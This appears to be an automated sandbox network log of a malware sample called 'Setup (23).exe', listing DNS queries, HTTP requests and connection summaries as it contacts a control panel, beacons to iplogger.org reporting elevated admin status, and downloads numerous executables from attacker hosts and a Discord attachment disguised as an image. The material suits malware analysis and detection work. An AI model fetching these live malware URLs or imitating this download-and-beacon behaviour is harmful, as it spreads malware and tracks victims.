74.114.154.18
POST

http://37.0.10.237/base/api/getData.php

Remote address:

37.0.10.237:80

Request

POST /base/api/getData.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Length: 689
Host: 37.0.10.237

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:26 GMT
Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
X-Powered-By: PHP/7.3.28
Content-Length: 108
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST

http://37.0.10.237/base/api/getData.php

Remote address:

37.0.10.237:80

Request

POST /base/api/getData.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Length: 133
Host: 37.0.10.237

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:26 GMT
Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
X-Powered-By: PHP/7.3.28
Content-Length: 108
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
DNS

iplis.ru

Remote address:

8.8.8.8:53

Request

iplis.ru

IN A

Response

iplis.ru

IN A

88.99.66.31
DNS

getonlinewoostudio.xyz

Remote address:

8.8.8.8:53

Request

getonlinewoostudio.xyz

IN A

Response
GET

http://194.145.227.161/dlc/sharing.php?pub=mixazed

Remote address:

194.145.227.161:80

Request

GET /dlc/sharing.php?pub=mixazed HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: EX-w2-9j-zr-E-B
Host: 194.145.227.161
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:54:30 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Content-Description: File Transfer
Content-Disposition: attachment; filename=null
Content-Transfer-Encoding: binary
GET

http://194.145.227.161/dlc/sharing.php?pub=mixazed

Remote address:

194.145.227.161:80

Request

GET /dlc/sharing.php?pub=mixazed HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: EX-w2-9j-zr-E-B
Host: 194.145.227.161
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:54:35 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Content-Description: File Transfer
Content-Disposition: attachment; filename=null
Content-Transfer-Encoding: binary
GET

http://194.145.227.161/dlc/sharing.php?pub=mixazed

Remote address:

194.145.227.161:80

Request

GET /dlc/sharing.php?pub=mixazed HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: 194.145.227.161
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:54:41 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
GET

http://194.145.227.161/dlc/sharing.php?pub=mixazed

Remote address:

194.145.227.161:80

Request

GET /dlc/sharing.php?pub=mixazed HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D4
Host: 194.145.227.161
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:55:16 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
DNS

nybhfe02.top

Remote address:

8.8.8.8:53

Request

nybhfe02.top

IN A

Response

nybhfe02.top

IN A

135.181.29.254
GET

http://nybhfe02.top/download.php?file=file.exe

Remote address:

135.181.29.254:80

Request

GET /download.php?file=file.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: nybhfe02.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 302 Found

Date: Tue, 31 Aug 2021 19:54:36 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Location: downfiles/file.exe
Content-Length: 0
Connection: close
Content-Type: text/html
GET

http://nybhfe02.top/downfiles/file.exe

Remote address:

135.181.29.254:80

Request

GET /downfiles/file.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: nybhfe02.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:37 GMT
Server: Apache/2.2.22 (@RELEASE@)
Last-Modified: Tue, 31 Aug 2021 17:30:34 GMT
ETag: "380039-b7a00-5cade4e9cdd46"
Accept-Ranges: bytes
Content-Length: 752128
Connection: close
Content-Type: application/octet-stream
GET

http://nybhfe02.top/download.php?file=file.exe

Remote address:

135.181.29.254:80

Request

GET /download.php?file=file.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: nybhfe02.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 302 Found

Date: Tue, 31 Aug 2021 19:54:37 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Location: downfiles/file.exe
Content-Length: 0
Connection: close
Content-Type: text/html
GET

http://nybhfe02.top/downfiles/file.exe

Remote address:

135.181.29.254:80

Request

GET /downfiles/file.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: nybhfe02.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:37 GMT
Server: Apache/2.2.22 (@RELEASE@)
Last-Modified: Tue, 31 Aug 2021 17:30:34 GMT
ETag: "380039-b7a00-5cade4e9cdd46"
Accept-Ranges: bytes
Content-Length: 752128
Connection: close
Content-Type: application/octet-stream
DNS

w0rkinginstanc3.xyz

Remote address:

8.8.8.8:53

Request

w0rkinginstanc3.xyz

IN A

Response

w0rkinginstanc3.xyz

IN A

172.67.215.35

w0rkinginstanc3.xyz

IN A

104.21.61.209
DNS

hypercustom.top

Remote address:

8.8.8.8:53

Request

hypercustom.top

IN A
DNS

hypercustom.top

Remote address:

8.8.8.8:53

Request

hypercustom.top

IN A
DNS

hypercustom.top

Remote address:

8.8.8.8:53

Request

hypercustom.top

IN A
DNS

hypercustom.top

Remote address:

8.8.8.8:53

Request

hypercustom.top

IN A
DNS

hypercustom.top

Remote address:

8.8.8.8:53

Request

hypercustom.top

IN A
GET

http://nybhfe02.top/download.php?file=file.exe

Remote address:

135.181.29.254:80

Request

GET /download.php?file=file.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: nybhfe02.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 302 Found

Date: Tue, 31 Aug 2021 19:54:41 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Location: downfiles/file.exe
Content-Length: 0
Connection: close
Content-Type: text/html
GET

http://nybhfe02.top/downfiles/file.exe

Remote address:

135.181.29.254:80

Request

GET /downfiles/file.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: nybhfe02.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:41 GMT
Server: Apache/2.2.22 (@RELEASE@)
Last-Modified: Tue, 31 Aug 2021 17:30:34 GMT
ETag: "380039-b7a00-5cade4e9cdd46"
Accept-Ranges: bytes
Content-Length: 752128
Connection: close
Content-Type: application/octet-stream
GET

http://nybhfe02.top/download.php?file=file.exe

Remote address:

135.181.29.254:80

Request

GET /download.php?file=file.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: nybhfe02.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 302 Found

Date: Tue, 31 Aug 2021 19:54:42 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Location: downfiles/file.exe
Content-Length: 0
Connection: close
Content-Type: text/html
GET

http://nybhfe02.top/downfiles/file.exe

Remote address:

135.181.29.254:80

Request

GET /downfiles/file.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D3
Host: nybhfe02.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:42 GMT
Server: Apache/2.2.22 (@RELEASE@)
Last-Modified: Tue, 31 Aug 2021 17:30:34 GMT
ETag: "380039-b7a00-5cade4e9cdd46"
Accept-Ranges: bytes
Content-Length: 752128
Connection: close
Content-Type: application/octet-stream
DNS

a.goatgame.co

Remote address:

8.8.8.8:53

Request

a.goatgame.co

IN A

Response

a.goatgame.co

IN A

172.67.146.70

a.goatgame.co

IN A

104.21.79.144
DNS

api.ip.sb

Remote address:

8.8.8.8:53

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172
DNS

api.ip.sb

Remote address:

8.8.8.8:53

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172
DNS

hypercustom.top

Remote address:

8.8.8.8:53

Request

hypercustom.top

IN A

Response

hypercustom.top

IN A

45.132.17.92
GET

http://hypercustom.top/holler/rollerkind2.exe

Remote address:

45.132.17.92:80

Request

GET /holler/rollerkind2.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D4
Host: hypercustom.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:56 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Tue, 31 Aug 2021 19:45:01 GMT
ETag: "0-5cae02f78b03f"
Accept-Ranges: bytes
Content-Length: 0
Connection: close
Content-Type: application/x-msdos-program
GET

http://iplogger.org/1u3ha7

Remote address:

88.99.66.31:80

Request

GET /1u3ha7 HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 || Windows: Admin|| Elevated || English (United States) English (United States)
Host: iplogger.org

Response

HTTP/1.1 301 Moved Permanently

Server: nginx
Date: Tue, 31 Aug 2021 19:54:58 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://iplogger.org/1u3ha7
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Thu, 01 Jan 1970 00:00:01 GMT
X-Frame-Options: DENY
DNS

crl.microsoft.com

Remote address:

8.8.8.8:53

Request

crl.microsoft.com

IN A

Response

crl.microsoft.com

IN CNAME

crl.www.ms.akadns.net

crl.www.ms.akadns.net

IN CNAME

a1363.dscg.akamai.net

a1363.dscg.akamai.net

IN A

23.209.125.81

a1363.dscg.akamai.net

IN A

23.209.125.75
GET

http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl

Remote address:

23.209.125.81:80

Request

GET /pki/crl/products/MicRooCerAut2011_2011_03_22.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Wed, 24 Feb 2021 06:00:53 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com

Response

HTTP/1.1 200 OK

Content-Length: 1141
Content-Type: application/octet-stream
Content-MD5: gbRNrSRLDPZEkWgi4W6OHw==
Last-Modified: Wed, 28 Jul 2021 05:01:02 GMT
ETag: 0x8D95184B2A7E2B4
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 8ed412b0-b01e-0067-1d5e-8af4d7000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Tue, 31 Aug 2021 19:55:14 GMT
Connection: keep-alive
GET

http://hypercustom.top/holler/rollerkind2.exe

Remote address:

45.132.17.92:80

Request

GET /holler/rollerkind2.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D4
Host: hypercustom.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:55:16 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Tue, 31 Aug 2021 19:45:01 GMT
ETag: "0-5cae02f78b03f"
Accept-Ranges: bytes
Content-Length: 0
Connection: close
Content-Type: application/x-msdos-program
GET

http://hypercustom.top/holler/rollerkind2.exe

Remote address:

45.132.17.92:80

Request

GET /holler/rollerkind2.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
User-Agent: D4
Host: hypercustom.top
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:55:17 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Tue, 31 Aug 2021 19:45:01 GMT
ETag: "0-5cae02f78b03f"
Accept-Ranges: bytes
Content-Length: 0
Connection: close
Content-Type: application/x-msdos-program
GET

http://iplogger.org/1erYt7

Remote address:

88.99.66.31:80

Request

GET /1erYt7 HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 || Windows: Admin|| Elevated || English (United States) English (United States)
Host: iplogger.org

Response

HTTP/1.1 301 Moved Permanently

Server: nginx
Date: Tue, 31 Aug 2021 19:55:17 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://iplogger.org/1erYt7
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Thu, 01 Jan 1970 00:00:01 GMT
X-Frame-Options: DENY
DNS

2no.co

Request

2no.co

IN A

Response

2no.co

IN A

88.99.66.31
DNS

api.ip.sb

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31
DNS

api.ip.sb

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31
DNS

api.ip.sb

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31
DNS

api.ip.sb

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31
DNS

api.ip.sb

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172
DNS

api.ip.sb

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172
DNS

api.ip.sb

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31
DNS

api.ip.sb

Request

api.ip.sb

IN A

Response

api.ip.sb

IN CNAME

api.ip.sb.cdn.cloudflare.net

api.ip.sb.cdn.cloudflare.net

IN A

104.26.13.31

api.ip.sb.cdn.cloudflare.net

IN A

172.67.75.172

api.ip.sb.cdn.cloudflare.net

IN A

104.26.12.31

37.0.8.235:80

Setup (23).exe

152 B
3
37.0.11.8:80

Setup (23).exe

152 B
3
104.21.5.208:80

http://wfsdragon.ru/api/setStats.php

http

Setup (23).exe

437 B
852 B
5
4

HTTP Request

GET http://wfsdragon.ru/api/setStats.php

HTTP Response

200
37.0.10.237:80

http://37.0.10.237/base/api/statistics.php

http

Setup (23).exe

495 B
914 B
6
5

HTTP Request

GET http://37.0.10.237/base/api/statistics.php

HTTP Response

200
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

Setup (23).exe

190 B
92 B
4
2
162.159.129.233:443

https://cdn.discordapp.com/attachments/882087629896691744/882087761488797746/E_PL_Client.bmp

tls, http

Setup (23).exe

22.8kB
1.3MB
482
916

HTTP Request

GET https://cdn.discordapp.com/attachments/882087629896691744/882087761488797746/E_PL_Client.bmp

HTTP Response

200
34.117.59.81:443

https://ipinfo.io/widget

tls, http

Setup (23).exe

916 B
7.7kB
9
10

HTTP Request

GET https://ipinfo.io/widget

HTTP Response

200
216.239.32.29:80

http://pki.goog/gsr1/gsr1.crt

http

Setup (23).exe

357 B
3.0kB
5
4

HTTP Request

GET http://pki.goog/gsr1/gsr1.crt

HTTP Response

200
37.0.10.237:80

http://37.0.10.237/base/api/getData.php

http

Setup (23).exe

1.4kB
8.2kB
12
13

HTTP Request

POST http://37.0.10.237/base/api/getData.php

HTTP Response

200

HTTP Request

POST http://37.0.10.237/base/api/getData.php

HTTP Response

200
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

431 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

431 B
528 B
5
5
172.67.153.179:80

http://i.spesgrt.com/lqosko/p18j/cutm3.exe

http

Setup (23).exe

27.2kB
1.5MB
582
1018

HTTP Request

HEAD http://i.spesgrt.com/lqosko/p18j/cutm3.exe

HTTP Response

200

HTTP Request

GET http://i.spesgrt.com/lqosko/p18j/cutm3.exe

HTTP Response

200
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
185.183.96.3:80

http://privacytoolz123foryou.xyz/downloads/toolspab2.exe

http

Setup (23).exe

838 B
4.6kB
8
7

HTTP Request

HEAD http://privacytoolz123foryou.xyz/downloads/toolspab2.exe

HTTP Response

200

HTTP Request

GET http://privacytoolz123foryou.xyz/downloads/toolspab2.exe

HTTP Response

200
104.21.62.66:80

aa.goatgamea.com

Setup (23).exe

152 B
3
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
81.95.96.94:80

bewidog.cz

tls

Setup (23).exe

391 B
507 B
5
5
52.216.80.128:80

553835e4-8579-4eef-9487-08e116066fe4.s3.amazonaws.com

tls

Setup (23).exe

388 B
92 B
4
2
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

399 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
81.95.96.94:80

bewidog.cz

tls

Setup (23).exe

353 B
507 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
81.95.96.94:80

bewidog.cz

tls

Setup (23).exe

288 B
507 B
5
5
37.0.10.214:80

http://37.0.10.214/WW/file7.exe

http

Setup (23).exe

123.8kB
7.6MB
2659
5105

HTTP Request

HEAD http://37.0.10.214/WW/PB14s.exe

HTTP Response

200

HTTP Request

HEAD http://37.0.10.214/WW/file2.exe

HTTP Response

200

HTTP Request

HEAD http://37.0.10.214/WW/file1.exe

HTTP Response

200

HTTP Request

HEAD http://37.0.10.214/WW/file7.exe

HTTP Response

200

HTTP Request

GET http://37.0.10.214/WW/file10.exe

HTTP Response

200

HTTP Request

GET http://37.0.10.214/WW/file2.exe

HTTP Response

200

HTTP Request

GET http://37.0.10.214/WW/file7.exe

HTTP Response

200
37.0.10.214:80

http://37.0.10.214/WW/file4.exe

http

Setup (23).exe

170.2kB
10.7MB
3660
7166

HTTP Request

HEAD http://37.0.10.214/WW/file10.exe

HTTP Response

200

HTTP Request

HEAD http://37.0.10.214/WW/file6.exe

HTTP Response

200

HTTP Request

HEAD http://37.0.10.214/WW/file3.exe

HTTP Response

200

HTTP Request

HEAD http://37.0.10.214/WW/file4.exe

HTTP Response

200

HTTP Request

GET http://37.0.10.214/WW/PB14s.exe

HTTP Response

200

HTTP Request

GET http://37.0.10.214/WW/file6.exe

HTTP Response

200

HTTP Request

GET http://37.0.10.214/WW/file1.exe

HTTP Response

200

HTTP Request

GET http://37.0.10.214/WW/file3.exe

HTTP Response

200

HTTP Request

GET http://37.0.10.214/WW/file4.exe

HTTP Response

200
194.145.227.159:80

http://194.145.227.159/pub.php?pub=azed

http

Setup (23).exe

6.3kB
328.1kB
127
223

HTTP Request

HEAD http://194.145.227.159/pub.php?pub=azed

HTTP Response

200

HTTP Request

GET http://194.145.227.159/pub.php?pub=azed

HTTP Response

200
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

407 B
568 B
6
6
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

361 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

334 B
568 B
6
6
81.95.96.94:80

bewidog.cz

Setup (23).exe

190 B
92 B
4
2
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
81.95.96.94:443

bewidog.cz

tls

Setup (23).exe

787 B
5.0kB
10
9
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

334 B
568 B
6
6
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

288 B
528 B
5
5
162.159.129.233:80

cdn.discordapp.com

tls

Setup (23).exe

